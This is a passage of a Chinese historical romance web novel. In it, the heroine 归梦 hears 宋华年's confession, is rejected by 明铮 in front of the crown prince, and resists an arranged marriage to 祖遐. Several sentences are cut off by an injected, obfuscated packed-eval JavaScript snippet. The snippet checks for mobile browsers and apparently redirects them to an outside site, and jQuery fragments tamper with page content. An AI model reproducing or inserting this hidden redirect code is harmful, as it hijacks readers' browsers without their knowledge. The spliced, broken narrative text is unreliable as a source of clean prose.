她深吸了口气,续道:“我睹物思人,便叫住那人,让他把花树移到我房前去。他回过头,看着我愣住了,过了半晌才笑嘻嘻地说‘姊姊这般美貌,若是将这花栽于窗前,恐怕这花便是在白天也羞得不敢开了。’我身边的丫鬟将他骂了一顿,他才知晓原来我就是宋府年纪最小的女公子。” 她说到宋府,声音颤抖,眼圈微微泛红。归梦知道她必是念及家人,心中悔恨,于是伸出温热的小手握住了她纤瘦冰凉的手掌。 “从那以后,他总借着给花浇水施肥的名义找机会偷看我,还每日送不同的新鲜花卉来,其中还附着一篇篇的情诗。我可能是太寂寞了,这些示爱的手段让我很受用。因为明铮从来都不会对我说这样的甜言蜜语,也使不来这些风流手段。我有时忍不住会想,明铮真的喜欢我吗?还是他只是因为我们自小定了亲,因为我注定是他未来的妻子所以他才喜欢我、对我好。我心中糊涂了,我渴望炽热浓烈的爱,渴望对方时时刻刻把我捧在手心。可是明铮他那么高贵,即使心里再喜欢我,也不会伏低做小地来讨我欢心。” “我一天天地掉进了情爱的漩涡里,自以为找到了真正两情相悦的对象。于是我跟父母亲提出退婚。他们大怒,很快查明了我与府中花匠之间的私情,立刻将他打了一顿赶了出去。父母亲将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15672506|171994||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我关在房中反省静心,我赌气不饮不食。那时正赶上明铮来广陵下聘,我自然不会对他有好脸色。我心里已经存了出逃的心思,只是苦于没有机会。我怕明着说伤了他的自尊,就故意用“文君夜奔”的典故试探他。我盼着他能猜到我的心思,自行提出退婚。可惜他并未多想,只当我是许久不见与他生分了,在和他赌气。” “我让贴身的丫鬟偷溜出府去寻到了那……那人。给了他一些盘缠让他提前去高平等我,待到成婚那一日,我便出逃与他会合。之所以定在那一日,是因为父母亲对我防范得紧,送嫁一路上一定会让人严密监视我。我唯一的机会就是被花轿抬进明府之后……” 她长叹了口气,轻拭眼角泪珠:“后来的事,你都知道了。是我背弃明铮,还识人不清。遭人始乱终弃也是应有此报。” 归梦不擅长安慰人,只能默默握紧她的手。 宋华年振作道:“我说这些与你听,只是想告诉你。你须得认清自己的心。明铮容颜绝世,倾慕他的女娘极多。你是真的喜欢他,还是被他的相貌所迷?他外热内冷,待他重视的人固然是情深义重,可他的心里藏了太多沉重的包袱不愿与人道,他也极难让人走进他的心里去。如果你只想被人呵护疼爱,甜蜜缠绵。那么,不要去喜欢他,你会吃尽苦头……” 归梦大震。宋华年的话如当头一棒,把她敲了个激灵。明铮的风姿确实让她心醉不已,她不否认她当初是因此而对他一见倾心的。 默然半晌,她缓缓道:“我不晓得,我只知道不知不觉间,他的喜怒悲欢都与我紧紧联系在了一起。他也已经掌握了我的喜怒哀乐。看到别人欺侮他,比我自己被欺侮还要让我愤怒难过。倘若他伤心失意,我愿意尽一切努力让他欢喜。被人呵护疼爱捧在手心的感觉固然很好,可是若那个人不是他,我便欢喜不起来。他胸怀抱负,我便倾力助他,他随遇而安,我亦不离不弃。不管他要做什么,我都会陪着他!” 宋华年凝视着归梦姣好的面庞,这么年轻稚嫩,却因为坦荡和对爱情的执着坚定生出一种奇特的魅力,让人不能轻视。 她伸手抚了抚归梦的乌黑的鬓边,动容道:“有你这么好的女子喜欢他,是他的福气。我祝福你们。” 归梦听得出宋华年是真心的。然而她想起明铮对她种种冷淡之处,又有些气馁:“可惜,在他眼中,我平凡得如同尘土一般。我晓得,他的姊姊、还有你,他身边关系密切的女子都是那么出类拔萃的美人。他自己也是风姿卓越。他怎会喜欢我这个莽撞稚气未脱的小丫头……” 宋华年柔声道:“只要你是真心地喜欢他,假以时日,定能让他看到你的真心。说来也是因为我辜负了他,还让他遭人耻笑。许是因为如此,他对女子更加敬而远之,更难信任。” 归梦与宋华年相对而坐,听到她轻柔的声音,又闻到她身上散发的淡淡幽香,由衷道:“姊姊,你真美……我若是男人也会喜欢你的。” 宋华年浅浅一笑:“莫说傻话了。在我眼中,你也很美。现下你年纪尚幼,待你长大一些,一定出落成标致的美人。况且……你还有一颗任侠仗义的善心。你记住,真正爱上一个人,是不会看重他的容貌的。” 她伸手取过桌案上的锦盒打开,低头注视着那枚比目白玉佩,美目中有黯然的光彩流动:“这块玉佩无形中把你、我、明铮牵到了一处。当日我曾将它送给你,现在想来,冥冥之中似乎是注定的。另一块玉佩在明铮那里,也许我和明铮这段断了的姻缘,注定要在你与他身上延续。”她说着,将那玉佩郑重地放在了归梦手心里。 46. 风飘絮 宋华年离开了,即使在桓府行差踏错,步步惊心,她也坚持不逃避自己的命运。 归梦望着她纤弱的背影,在一点微弱的朝阳中投下一片瘦长的光影,那样单薄、寥落。错弃了明铮,也许是她此生难以弥合的永殇。 在她走前,她终于忍不住问出那个埋在她心中多时的问题。 “姊姊,你可曾后悔?” “我在父母兄长呵护中长大,自小规行矩步,备受宠爱却少了自由。我不顾礼教效仿文君,却忘了司马相如终是又娶了茂陵女,文君以赠《白头吟》相决绝…我悔过,但不是后悔逃婚,而是悔我识人不清,悔我错付痴心,悔我辜负且伤害了真心对我的人……” “归梦,不要学我,更不要去做又一个卓文君……” 良久,紫芽轻手轻脚地走进来,也不多问,只是把桌上的首饰和锦盒收拢起来,轻声提醒归梦该返程了。 归梦忽然想起一事,猛然站起:“糟糕,我的香囊昨夜掉进湖里了!”说着便要出门去。 紫芽劝道:“梦娘莫急,掉的是哪一只香囊?若是不打紧,再命人绣一只便是了。” 归梦焦躁道:“还有哪一只?是我亲手绣了打算送给……便是那只玄色的!” 紫芽瞬间了然。“今早冷得出奇,廊下都结了冰了。那湖面说不定也冻住了……” 归梦不信,出得门去一看果真如此。天上纵有淡淡的日影,外头仍是冷冽非常。她一路朝湖边去,半途却遇到了太子萧益。 萧益笑道:“我正朝你那里去呢。时辰差不多了。若再晚些,恐怕天黑了才能进城。”又见她来时步伐急促,奇道:“你这是急着上哪去?” 归梦摇摇头,在心里叹了口气。罢了,大约是天意,这香囊注定是送不出去。落花有意,流水无情,这番情意,恐怕终究如这香囊一般随了流水。 冬雪纷飞,近日建康城中忽地流传起了一首谤诗。 “建康有个岑公子,女扮男装为爱痴。无双公子青楼客,淑女倡优两相宜。” 初时不知是何人在市井的茶肆酒铺中留了几张诗稿,到后来渐渐变成风月韵事口口传开,且传得绘声绘色,十分风流香艳。 说是有个高门大族的女公子,姓岑,时常女扮男装出门去与她思慕的男子结伴耍乐。此男子乃是建康城中风姿无双、貌比潘安卫玠的一位寒门士子。 此男子左右逢源,与青楼的名伶倡优也颇有沾染…… 堂堂高门贵女,要与倡优争锋夺爱,岂不可笑可叹? 好事不出门,坏事传千里,这样的故事自然也传到了岑府。 岑熙面色铁青,将归梦唤到跟前,欲要斥责又有些不忍。他膝下唯有归梦一女,向来娇惯,当下强抑着怒气道:“这满建康城,有头有脸的岑氏人家,还有谁人?高平岑氏的女儿,除了你就只有你叔父家的两个年方髫龄的妹妹。你叫别人如何不想到你身上去?眼看着你即将及笄——女儿家的名声毁了,将来如何议亲?” 归梦欲辩无言。谁让这传言也不全是虚构呢?敢做敢当,自作自受吧。 她生性不喜也不擅撒谎,于是默默不语,也不辩驳,当下打定主意,就这么默认一切,任由父母责罚。 岑熙见归梦低头不语,只道是自己太过疾言厉色,女儿已有悔意。 于是换了口气,语重心长道:“你自小性子混赖。也怪为父与你母亲把你当男子般教养,只教你识文学艺,于人际交游之上疏于管教。那时在高平,你如何不循礼法为父也不曾苛责。可眼下你在建康,一举一动都在世人眼皮底下。你代表着岑家与谢家女儿的德行!这般妄为——你不顾及自己的脸面,也须顾及旁人。自今而后可都要改了!” 门外有丫鬟禀告,说有宫人来传话,太子萧益请归梦去西苑。 岑熙颇为犹疑,也不能抗旨,只得唤来自己的近身随侍同归梦一道去了。 西苑,太子宫。 归梦从宫门口下了马车,刚走过花园,便看到一乘缎面软轿经过她面前。 引路的宫女侧身让到一旁躬身行礼。 轿帘轻掀,露出一张俏丽冷容,正是公主云蔷。她见到归梦,美目一亮,继而浮现一抹隐秘让人难以捉摸的笑容,又无声地放下帘子,渐去渐远。 是她看错了吗?云蔷傲人的笑容中依稀隐含一丝挑衅。 书房内,太子萧益坐在案前,用朱笔批着奏折,时不时圈注几字。他听到宫人通报头也不抬,简洁道:“请她进来。” 一名身着鸦青色宫装,身材纤长的贵族少女走近,行了一礼,低低唤道:“太子哥哥。” 萧益将朱笔轻轻搁下,抬眸看来。他俊容绷着,佯怒道:“你瞒得我好啊!” 说着拄起手杖慢慢走到归梦面前,见她满面怏怏不乐,闷声不语,如同霜打地茄子一般,不觉又口气一软:“可是遭训斥了?” 方才在家中被父亲一番责问,满腹的委屈无处倾诉,最是听不得温言细语了。 归梦眼圈一红,小嘴高高撅起:“对不住,妹妹不该瞒太子哥哥那么久!只是……” 只是,她实在是对自己没有信心,也对明铮没有信心。她不想早早宣之于人,一是怕事不成丢脸,二更是怕太子等人太过热心,会刻意从中撮合促成,这是她不愿见的。 她想凭自己的努力,让喜欢的人也喜欢上自己。 萧益摇头叹道:“你为何如此擅专!但凡你早些同我、或是同诗安挑明你对明铮有意,我也不至于答应了云蔷……” 归梦猛地抬头,秀目圆睁,急急问道:“你答应了云蔷什么?” “云蔷说,她十分倾慕明铮,希望我能从中促成。我本就有意为明铮择选一位家世贵重些的女子为妻,只是没想到云蔷这丫头竟然肯下嫁,难得她不嫌明铮出身寒门……” 归梦越听一颗心越是往下沉。原来云蔷也抱了这样的心思!她竟不知,云蔷又是何时喜欢上明铮的? 她思绪混乱,脑海中忽地浮现出方才云蔷乘轿经过时对她露出的那抹笑——原来是这个意思! 云蔷这丫头,从小便爱和她争夺玩物,很是心高气傲。她虽是公主,但母亲出身不高位分也低,难免被轻视。以她那拔尖要强的性子,若不嫁与豪门贵族又岂会甘心? 她摇头道:“我不信云蔷是真心倾慕明铮,若说她是为了与我争抢,倒是说得通!” 萧益微微皱眉:“我知道你与云蔷一贯合不来,但你不能因此便作这等揣测……” 归梦焦灼之下也顾不得礼节,大声打断:“她一定是听到建康城中的流言,知道我心悦明铮,所以抢先来找太子哥哥你表明心意,是也不是?” “这你可就误会了。”萧益摇摇头:“前些日子自桓府别院田猎归来后,云蔷便和我提起了。她说田猎场上明铮风姿卓然,故而对他一见倾心……” 归梦无言。难道是她猜错了、想岔了?或许她把云蔷想得太恶劣了。云蔷再渴望胜过她,也不至于拿自己的终身大事来博弈。 半晌,两人都不曾说话。萧益默默转回案前坐下。 归梦声音艰涩:“我原不该胡乱猜测旁人。事已至此,我不能强求也不敢让太子哥哥偏袒我。我只请太子哥哥成全一件事。” 她目光明澈,静静道:“请你当面问明铮,云蔷与我,他愿意娶谁。” 萧益略略沉吟:“这……好吧,你且回去,这两日我寻空……” 归梦哪里能等?她央道:“请太子哥哥现在就宣明铮入宫。我想亲耳听他说!求你啦……”当下拉着萧益的胳膊连连恳求。 萧益拗不过她,无奈道:“真拿你没办法,不过咱们可约定好——你只能在屏风后听着他答话。” 静谧的午后,宫室中唯有更漏“滴答滴答”的声响。 归梦已等得焦躁万分。 终于,听到有脚步 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15687297|171994||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声和手杖触着金砖地面的声音渐渐从外间传来。她慌忙闪身躲到了内室的乌木雕花刺绣屏风之后。 脚步声停下,萧益的声音响起:“……这里无人,说话自在些。” 那屏风本是雕花镂空的,透过那细小的空隙既能刚好能看到屏风后的情况,又不会被发现。归梦凑近空隙看去——一抹丹朱色的颀长背影,正是身着官服的明铮。 他二人谈论了一会儿国事,都是归梦听不太懂的。她心里不断催促,盼着萧益快些将那话问出口。 只听萧益絮絮道:“远书,当初是孤执意要你从荆州回来。你也看到了,如今朝堂震荡,士族结党营私。孤能信任的没有几人……”他语气中满是自责:“那日田猎夜宴,令你受了折辱,是孤无能……” 明铮温言道:“殿下何需自责?臣既入朝堂便知任重而道远。纵是终身履冰,亦是百死无悔。朝中暗潮汹涌,桓超野心勃勃,殿下务必留意。此番外有北地石勒又再兴兵滋扰,内有流民之困。明铮请求辞去太子洗马一职,前去荆州助战……” 屏风后的归梦慌乱地捂住自己的嘴。她险些惊呼出声。 他要走了!他要走了…… 荆州,远在千里之外。他这一去又不知何时才能再见到他…… 萧益踌躇片刻,拍了拍明铮的肩膀道:“孤知道近来你受流言之扰,此时暂离都城也好。有你坐镇荆州,孤自是放心。只是,战场刀剑无眼,务必保重。”顿了顿,又道:“你如今身上担子极重。你老父又年迈多病。明府也需有个女主人在内操持照料。你姊姊在这内宫之中极难出去走动,时常担心你们……” 归梦看不到明铮是什么表情,只注意到他身子微微一动,似乎预感到太子要说什么了。 萧益叹道:“孤一直想为你寻一位身份贵重的妻子,于你仕途也有所助益。不过这桩喜事还是想先问问你……” “殿下见谅。臣如今无心也无意于成家,何必耽误……”明铮躬身垂首恭敬地推辞。 萧益摆摆手,笑着打断:“你忙什么,先听听人选再决定也不迟。” 他的眼风有意无意地朝归梦藏身的屏风处瞟了瞟,朗声道:“这第一位嘛,便是孤的妹妹——云蔷公主。上回田猎时,你们也曾见过,姿容可堪与你匹配。她母妃出身虽不高,但毕竟是父皇的女儿。将来你便是驸马,算来你既是孤的内弟又是孤的妹婿。” 归梦大为紧张,一颗心忐忑不定。她怕明铮真的会选择云蔷,那时,她又该如何自处呢?真的能如她对太子所说的那样,就此放手断了念想吗? 只听萧益续道:“这第二位……你也是极熟稔的。说来巧了,也是孤的一位妹妹——东平侯府岑家的女公子,是孤嫡亲姨母的女儿。总之,她二人均对你有意,但不知你属意哪一位?” 归梦觉得这内室极是安静,安静得能听到她急速的心跳声,快要跳出喉咙口了。沉默的须臾对于她来说如同过去了几千几万年之久,她等待明铮的答复仿佛等得心都要枯竭了。 “臣谢过云蔷公主与岑家女公子的抬爱,也谢过殿下关怀。但臣确实无心成婚。此去荆州,未知战果若何。请恕臣不识抬举了。”明铮的声音坚定有力,像一把冰冷的玉锤,敲碎了归梦的心。 “近来你与孤表妹的一些事甚嚣尘上,孤也派人去查了那散播谤诗的源头,只是尚无头绪……那些传闻,并非全然捏造罢?”萧益的声音难掩失望:“孤还以为……你无须顾虑旁的,只须你二人彼此有情,孤定然设法成全。” 明铮静静道:“齐大非偶。士庶之别,判若云泥。高门与寒庶,不相往来,不共交游,更不相通婚。家姊蒙殿下抬爱,忝为侧妃,明铮也借此入朝为官,实已是侥天之幸。也正因此累得殿下长久以来颇受士族高门指摘。臣已于心有愧,又岂可再乎?” 归梦闻言再也按捺不住,霍然从屏风后走出,大声道:“只要是对的事,有何不可?” 47. 嫁东风 明铮看着从屏风后走出的归梦,微微一怔。 萧益轻斥道:“你这丫头,不是叫你莫要出来?” 归梦低头赔了一礼。 她气鼓鼓道:“小妹本也不想出来。只是,实在听不得某人的混话!” 她毫无羞怯地直视着明铮,义正言辞道:“‘世胄蹑高位,英俊沉下僚。地势使之然,由来非一朝。’你既然知道,也该晓得我太子哥哥提携你是多么不易。你又怎忍心拒绝他的好意?在我心里,你满腹才华无人能及。那些士族子弟大多是饱食终日纵情声色,给你提鞋也不配。为何涧底之松便不能移植到高山之上?难道因为惯例如此便对吗?若你也认为不对,那为何不接受别人的抬举?只要这抬举你担得起,便是一千次一万次你也担得起!何须去管旁人眼光?” 明铮看着眼前一脸认真在跟自己讲道理的少女,唇角无声漫起一点笑意。 萧益抚掌笑道:“说得好!不愧是孤的表妹。” 他轻叹着向归梦解释:“你不明白,有道是‘志士痛朝危,忠臣哀主辱’。远书从不在意自身,只是担心那些高门士族抓着这些事大做文章影响到孤的位置与名声。” 他复又拍了拍明铮的肩膀:“这丫头是说出了孤的心声。成规既打破了,便要打破到底。若不开这个先例,朝中岂能有可堪重任之才?更何况,高门与寒庶不通婚,只会让结党之风更盛。” 萧益笑着看了眼归梦,鼓励似地对明铮道:“堂堂须眉,岂能不如裙钗?” 归梦羞涩地低下头,又忍不住偷偷抬眸去看明铮的神色。他只是噙着笑若有所思。 虽然有太子哥哥撑腰,可是父亲母亲那里该如何去说?明铮若真是答应了,倒要颇费些脑筋去磨一磨父母亲。 不过,只要能与他在一处,再多的艰辛与困苦,她也不怕。 半晌,明铮终于说出了他的答案:“方才臣说过的话不会收回。臣之心绝无动摇。国若不国,何以为家?” 归梦一颗心冷到极处,嘴唇颤动正要说什么,却见明铮对她长揖一礼:“承蒙女公子错爱,明铮并非没有勇气,而是——我确实无意于你。” 归梦如同游魂一般被太子遣人送回了家。 她只记得归来之时,下了马车,天边乌沉沉的黑云压城。 明明晌午她出门时还是晴空万里。 不过几个时辰,就变天了。 丹娥在房中焦躁不已,见到归梦魂不守舍地回来,急道:“梦娘,紫芽姊姊被主母带走了!” 归梦一股风似地闯进了谢氏的房中,大声道:“把紫芽还给我!我再也不闯祸了!” 谢氏本在梳妆台前卸妆,斜她一眼,斥道:“越发没有规矩了!” 归梦胸脯起伏不已。她喘了口气,朝母亲行了一礼,低声道:“千错万错都是女儿的错,与紫芽无干。请母亲饶过她。” 谢氏淡淡道:“我只罚那丫头在佛堂跪着而已。这才半天你便心疼了?” “行了,你把她领回房吧。只一条,你若再不收敛性子,便是逼着为娘把紫芽发卖了。” 跟着紫芽一同回来嘉宁阁的还有一位面冷的年老嬷嬷。归梦识得,那是在母亲身边的得力老人了。 从此,她房中等于多了个母亲的耳目,言谈间都须避讳检点。 已是冬月,天气是愈发冷了。 嘉宁阁中炭火烘得极暖。青铜镂花鼎中焚着沁人心脾的百和香,白烟缕缕,被热气一烘,犹如置身春日暖阳之中。 归梦懒洋洋地斜倚在榻上,有些昏昏欲睡。 这些日子以来,她如同做了一场大梦,梦里她不自量力地做了许多傻事。 直到几日前,她才彻底清醒。 “我确实无意于你!”——多么伤人的话!明铮面上虽还带着一点点笑,语气也还是那么礼貌客气,可说出来的话却是那么冰冷彻骨。 他已经再三说明了,他不喜欢她。 她恨他!她这辈子从来没有那么恨过一个人。恨他把她的自尊和真心踩在了脚下,视如敝屣。 若是那只她亲手绣的香囊还在身边,她定要拿起剪子狠狠剪个稀烂。 谁叫她那么傻!可是,没有人叫她这么做,这都是她心甘情愿的。她又怎能怪明铮不喜欢她? 紫芽满面担忧地看着归梦。 自那流言传开后,岑熙与谢氏便不许归梦私自出门了。有任何缺漏都是让下人出去采买。 从西苑回来之后,人消瘦了不说,还总是神情恍惚,浑浑噩噩的像傻了一样。这样下去可怎么办? “不好了!不好了——梦娘,祖家来人送婚帖了!”丹娥急吼吼地闯了进来,直跑得上气不接下气。 侍立一旁的李嬷嬷呵斥道:“你这妮子胡嚷什么!成婚是喜事,不许乱说话触霉头。” 丹娥委屈地撇了撇嘴。 紫芽见归梦没有反应,试探性地唤了她两声。 归梦缓缓反应过来:“你方才说什么?” 丹娥看了眼李嬷嬷,嗫嚅道:“就是梦娘你入宫去见太子的那日,祖家请了媒人上门说亲,主君和主母答应了。” “为何无人告诉我?”归梦睁大眼睛,定定地望着丹娥和紫芽。 丹娥一脸无辜:“主君和主母不让下人说。我也是方才看到祖家来人,问过鲁管家才知道的!” 紫芽纳闷道:“前几日才请媒人来议亲,今日便来送婚帖,怎地这样快?” 李嬷嬷不满地骂道:“两个小妮子多嘴多舌,主人的婚事岂是你们可以议论的?”吓得紫芽与丹娥闭口不言。 话音刚落,归梦霍然起身,拎起裙摆就朝前厅跑去。 李嬷嬷、紫芽和丹娥也慌不迭地跟了上去。 归梦一口气奔到正堂。她从正堂侧面的窗户望去,各色箱笼礼物整整齐齐摆了两列,上首客座一老妪白发如银,气度高华,正微笑着与父亲攀谈,正是祖老太君。 下首坐着一男子,英武不凡,身姿挺拔,一身玄墨色衣袍,望之岿然,不是祖遐又是谁? 归梦脑中轰然一响,看来此事是八九不离十了。她耳中飘入祖太君与父母的对话:“待回去合过他二人的生辰八 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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归梦又是震惊又是感动,这样的偏爱她怎能不动容?可是情之一事,难以勉强。 她勉强一笑,对祖太君道:“归梦想与祖将军说几句话。” 祖遐闻言驻足。祖太君微笑着看了二人一眼,先行上了马车。 归梦在前,默默快走几步,走到自家府邸僻静无人的外墙边上。 她停下脚步,转过身,抬头瞪视着跟上来前的祖遐:“我以为,我们上次已经把话说清楚了。” 祖遐身高九尺多,身形伟岸,站在归梦面前便如一堵高墙。他微微垂眸细细打量归梦。 她像是又瘦了一些,烟水绿绣着淡淡金丝绣纹的薄袄裙,显得纤腰不盈一握,像极了冬日里临风绽放的一朵娇嫩水仙花。 他对她的质问不以为意:“我记得,你说你喜欢明铮。” “那你还……”归梦话刚说了一半便被祖遐打断了:“可是他对你无意。” 归梦被戳中心事,心中难受,恼羞成怒,雪白的面庞涨得潮红。 她尖声道:“你凭什么这么说?” 祖遐静静看着她,眼中似有悲悯:“若是你们两情相悦,我自然不会横刀夺爱。若不是,我为何不能求娶你?” 48. 佳期误 归梦怒极反笑,她昂起头:“我不管,君子一言,驷马难追。那日你明明……” 祖遐打断道:“那日我并未允诺你什么。何况,只要能让我祖母顺心喜乐,我不做君子又何妨?” 归梦无语,急得跳脚:“婚姻大事,难道你就听凭长辈安排吗?” 祖遐慢慢朝她走近一步,直视着她道:“不错。不管她是谁,不管她是美是丑高矮胖瘦,只要是家祖母让我娶,我就会娶。” 这话的意思似乎是说他也并非对她有意,而是单纯遵从祖太君的意思来求娶她。 “何况我已过弱冠之年,早该娶妻生子,家祖母为我安排也是情理之中。” 归梦气结:“你……没想到堂堂祖将军竟是如此愚孝。我看若是你祖母让你娶一条狗、一头猪,你也会娶!”她气得失去理智,开始口不择言,也不管什么修养礼仪了。 祖遐也不生气,看到她暴跳如雷的样子想笑又把笑意忍了回去。 他一本正经道:“那倒不会。家祖母的眼光一贯极高,能入她老人家法眼的女娘可不多。谁让你曾经救了她呢!那日她去道观替我祈福,你救了她,还替她摘了祈福用的花。后来我伤势渐好,她便认定你就是我命中的福星,也是我祖家的福星。还费了心思去打听你是哪一家的女娘……” 原来如此。她本以为祖太君只是因为她救过自己而对她产生好感。哪知还有这样一层原因。 琼花观里她看祖太君的花掉落在地被踩踏坏了,出于好意让紫芽又去摘了一朵给其拿去开光祈福,不想竟会让祖太君产生这样的联想。她何德何能堪做人命中的福星? 她努力平下气息。“如此说来。你不喜欢我,我也不喜欢你。两情不相悦的婚姻,岂非让彼此都痛苦?我好歹也曾救了你祖母一命,你便如此回报我?” 祖遐静静看着她,毫不回避她怨恨的眼神。 “是,娶你,照顾你一生一世,这便是我回报你的方式。” 墙边的一丛鸳鸯藤,花朵开得正灿,金黄相映,状如鸳鸯对舞。归梦看在眼中格外刺心,伸手摘下一朵,狠狠撕碎。 谁能懂这被错点鸳鸯的无奈? 是夜,归梦做了一个梦。梦中一名背影熟悉的白衣男子骑着马朝远方驰去,渐行渐远。归梦急忙纵马去追,岂知越是心急越是追不上,急得满头大汗。忽地,那白衣男子似有感应,遥遥勒马回望。 那马上之人的面目逐渐清晰,竟然不是明铮,而是祖遐! 归梦从梦中惊醒,汗水涔涔而下。 白日祖家来提亲,祖遐难以劝说,他要求娶她的心似乎无可转圜,只能想办法从祖太君那里下手了。 归梦背脊一阵发凉。她默默拥紧了被衾。难道她的命就是这样了吗?她因着明铮任性妄为闹得名声尽毁,如今却要在父母亲的安排下嫁给旁人?她无论如何也难甘心! 紫芽睡在一旁守夜,迷迷糊糊间听见声响,看到归梦坐起,便也起身。 “梦娘可是口渴?我去倒茶。” “不必了,你睡下吧。明日醒了,帮我去打听下明公子何日启程去荆州。” 翌日晨,嘉宁阁。紫芽依言出门去打探消息,到府门口却被拦了回来。 “主君和主母吩咐了,梦娘身边的人也一律不许外出。”紫芽避开李嬷嬷,悄悄来回报。 丹娥看着归梦焦躁地来来回回走动,忍不住道:“梦娘为那明公子闹得名声尽毁,值得吗?” 她见归梦不语,便又大着胆子说:“我看那祖公子也是一表人材,不输给明公子。” 紫芽叹道:“明公子若是优雅漂亮的凤凰,那祖公子就是骄傲英武的雄鹰,旗鼓相当。无论哪个都是天下女子梦寐以求的夫婿。只是……”她看了归梦一眼。 这些日子以来,她作为旁观者,看着归梦与明铮的交往。归梦对明铮的用心与感情,她是最清楚不过的了。所以无论如何,她都说不出劝其放弃的话。 归梦停下脚步,横了二人一眼:“你们俩倒是一唱一和,比喻得恰如其分。” 她坐下,低头以手支额:“若说名声尽毁。明铮不也是一样?我虽是女子,却也没什么好怕的。值与不值我不愿去想。但是父母亲定下的婚事我是绝不会接受!” 她微一思忖:“去找鲁管家,让他去对岸谢府问一问,表哥可回来了。” * 嘉宁阁。 织花帷帘挑起,谢炅带着雪天里一身寒意钻进了暖阁。 “唔,好浓的水仙香气。表妹,恭喜恭喜。为兄从姑母那里过来,听说你与祖家换过庚帖了。” 谢炅人还未落座,话匣子已迫不及待地打开了。 紫芽忙上前,将他身上的鹤氅裘脱下,趁机给他递了个眼色。 谢炅见归梦枯坐一旁,对他的揶揄不理也不睬。一向活泼的主仆二人都沉默了不少。 他堆起笑道:“为兄甫回京师,便听说了你的事。今日可是踏雪而来,足见诚意吧?” 这促狭的表兄!好不容易把李嬷嬷支开见他一面,他还哪壶不开提哪壶。 归梦赌气道:“表兄怕是在会稽庄园中乐不思蜀了,哪还会记挂着我这个表妹?” 谢炅坐下,伸手接过紫芽递来的热茶,吹开茶叶,啜了一口:“这你可冤枉为兄了。你有所不知,自从你的事迹传开,姑父与姑母便以为你同那王如芝一般,得了花癫之症,火速寄了书信给我,让我暗中帮着寻医问药。幸亏我机灵,说这‘心病尚需心药医’,几番劝说才压下来。还有明铮那里,若不是我从中斡旋,你当姑父会轻易放过他?” 归梦不想其中还有这般内情。她霍然起身,急道:“父亲会对他怎样?” 谢炅安慰道:“这你暂且放心。我已说明了利害。便是瞧着太子的面上,姑父也不会为难明铮的。”他拉着她坐下,很是感叹:“你可真是深藏不露,敢情你早就对明铮情根深种了!竟瞒得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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谢炅无言以对,只好认栽。“说吧,要我怎么帮你?” 归梦这才满意而笑:“当务之急是先解除与祖家的婚事。还有,我要知道明铮何时出发去荆州。” 谢炅沉吟道:“他几时出行我尚拿不准,但我料定必要等到腊日之后。” 归梦奇道:“为何?” “腊日那天祭祀先祖,阖家团聚。他一贯孝顺,必不会留老父一人。何况,今年腊日之后的第二日在瓦官寺,有容贤禅师的讲经会。明铮与容贤禅师交情匪浅,届时必会前去。” 归梦喃喃道:“他倒是交游广阔。”看来她对明铮所知还是太少。 谢炅又道:“姑母素来信佛,必然不会缺席容贤禅师的讲经……” 归梦心领神会。她往日也多次陪母亲去到瓦官寺进香,听讲经也不止一次了。此次想法子随母亲一道,当是不难。 49. 恼疏狂 其时信奉佛道之人不在少数,佛寺与道观向来香火旺盛。门阀世家也各有信仰,历来不会缺席大师的开坛讲经。众所周知,四大世家之中,琅琊王氏崇尚道门,陈郡谢氏则素来尊佛。岑氏并无固定传统,只略略偏向老庄多一些。 岑熙与谢氏成婚后,并不干涉妻子礼佛。 是以归梦既随着郭师傅习了一些道门玄术,又常随着母亲谢氏定期礼佛。 听闻此次讲经的容贤禅师,乃是佛门高僧慧远大师唯一的高徒,自幼出家,年纪轻轻便佛学造诣精深。去年游方归来,便长驻于瓦官寺。近来瓦官寺香火日益旺盛,倒有一半是因着他。 经过谤诗之事,谢氏对归梦的管教是愈发严格。虽是来寺中听经礼佛,也安排着李嬷嬷寸步不离地跟着归梦。若不是归梦强烈要求,怕是紫芽都不能随侍一旁。 这一日,早早便下了马车,远远望见乌泱泱一片人群。其中还夹杂着明黄色的华盖与几名宫内服色的侍卫。 紫芽悄声对归梦道:“看这阵仗,恐怕是皇后娘娘也一道来了。” 归梦心下暗喜。这场面自是越热闹越混乱越好,最好母亲无暇顾及她,她才有机会浑水摸鱼。 不止是皇后来了,连太子妃夏侯敏、云蔷公主也一道来了。只是皇后虔诚,不愿扰了佛门清净,是以轻车简行,只带了寥寥几名随侍与护卫。夏侯敏与云蔷自然也只能效仿着低调行事。 瓦官寺青松之上积雪未消,钟罄长鸣。青铜炉鼎白烟袅袅,归梦本是低头盘膝坐在众人之中,听着佛音声声,忍不住偷偷抬眼望去。 